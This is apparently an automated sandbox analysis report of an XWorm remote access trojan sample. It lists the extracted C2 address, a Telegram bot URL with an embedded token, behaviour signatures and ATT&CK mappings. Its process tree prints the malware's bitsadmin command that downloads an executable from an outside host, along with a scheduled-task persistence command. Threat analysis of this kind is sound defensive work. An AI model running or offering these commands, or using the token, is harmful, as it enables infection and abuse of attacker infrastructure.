Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
15/08/2026, 15:17
General
- Target 35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe
- Size 121KB
- Sample260815-spb2jayfmg
- SHA256 35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452
Malware Config
Extracted
-
xworm
-
45.141.27.211:6000
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Install_directory
%AppData%
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install_file
system.exe
-
telegram
https://api.telegram.org/bot8159101507:AAFU4ETqWUQIfaeNTGeEPX0kxelidWwGTpc/sendMessage?chat_id=8539272145
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 2 IoCs
- Download via BitsAdmin 1 TTPs 1 IoCs
- Downloads MZ/PE file 1 IoCs
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe"C:\Users\Admin\AppData\Local\Temp\35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\62A8.tmp\62A9.tmp\62AA.bat C:\Users\Admin\AppData\Local\Temp\35217e0e9a4a208bd24ede1ed836eb307981aef1cea907e5fbac79ae6f32f452.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bitsadmin.exebitsadmin /transfer "FileDownload" /download /priority FOREGROUND "http://slumzick.in.th/system.exe" "C:\ProgramData\system.exe"3⤵
- Download via BitsAdmin
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C:\ProgramData\system.exe"C:\ProgramData\system.exe"3⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\AppData\Roaming\system.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
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C:\Users\Admin\AppData\Roaming\system.exeC:\Users\Admin\AppData\Roaming\system.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\system.exe"C:\Users\Admin\AppData\Roaming\system.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\system.exe"C:\Users\Admin\AppData\Roaming\system.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
BITS Jobs
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
62AA.bat
system.exe
memory/3772-2-0x0000000000D40000-0x0000000000D54000-memory.dmp